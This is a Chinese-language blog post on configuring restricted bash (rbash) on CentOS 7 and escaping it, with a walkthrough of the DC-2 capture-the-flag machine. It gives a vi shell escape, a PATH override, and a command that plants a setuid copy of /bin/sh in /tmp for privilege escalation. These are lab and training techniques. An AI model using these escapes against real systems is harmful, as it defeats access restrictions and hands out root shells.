iloveflag-blog

rbash逃逸

字数统计: 519阅读时长: 2 min
2019/06/15 Share

restricted shell 与rbash

什么是restricted shell?顾名思义是一个受限的shell,让用户只能执行一些网络管理员允许执行的命令,极大地控制了用户的权限,可分为
rbash(The restricted mode of bash)
ksh(Similarly the Korn shell’s restricted mode)
rsh(The restricted mode of the Bourne shell sh)
下面以rbash展开
rbash是一个bash -r的软连接,可以rbash进入或者bash -r直接进入

rbash01

rbash的配置

在研究rbash逃逸之前,更应该先了解如何配置一个使特定用户只能使用rbash的环境
在红帽系的linux中默认没有rbash,需要先创建一个软链接,以centos7配置为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

[root@localhost ~]# ln -s /bin/bas /bin/rbash
[root@localhost ~]# useradd -s /bin/rbash test
[root@localhost ~]# cd /home/test/
[root@localhost test]# mkdir bin
[root@localhost test]# vi .bash_profile
[root@localhost test]# cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
[root@localhost test]# ln -s /usr/bin/vi bin/
[root@localhost test]# ln -s /usr/bin/scp bin/
[root@localhost test]# passwd test
Changing password for user test.
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: all authentication tokens updated successfully.

将允许用户使用的命令通过软链接形式复制到家目录的bin下
注意:请直接登录test用户或者使用ssh验证rbash生效,在root用户下su test切换验证无效

rbash逃逸

下面复现几个实战和ctf中常见的逃逸

Find:

rbash02

Python:

rbash03

Awk:

rbash04

vi:

rbash05

rbash06

想了解更多?
(https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf)

rbash逃逸实战

以vulhub.com上的DC-2为例
在cewl生成字典和wpscan配合爆出对应的用户名和密码后

rbash07

rbash08

发现shell是rbash,使用自动补全命令compgen -c可以看到我们能使用vi
利用vi提权

1
2
:set shell=/bin/sh
:shell

更改PATH(从前面的配置过程可以看出实际对应的是家目录下的.bash_ profile文件)
export PATH=$PATH:/bin:/usr/bin

rbash09

登录到jerry,使用git提权
复制/bin/sh 到/tmp目录下
!/bin/sh -c “cp /bin/sh /tmp/test.sh;chmod 4755 /tmp/test.sh”

rbash10

CATALOG
  1. 1. restricted shell 与rbash
  2. 2. rbash的配置
  3. 3. rbash逃逸
    1. 3.1. Find:
    2. 3.2. Python:
    3. 3.3. Awk:
    4. 3.4. vi:
  4. 4. rbash逃逸实战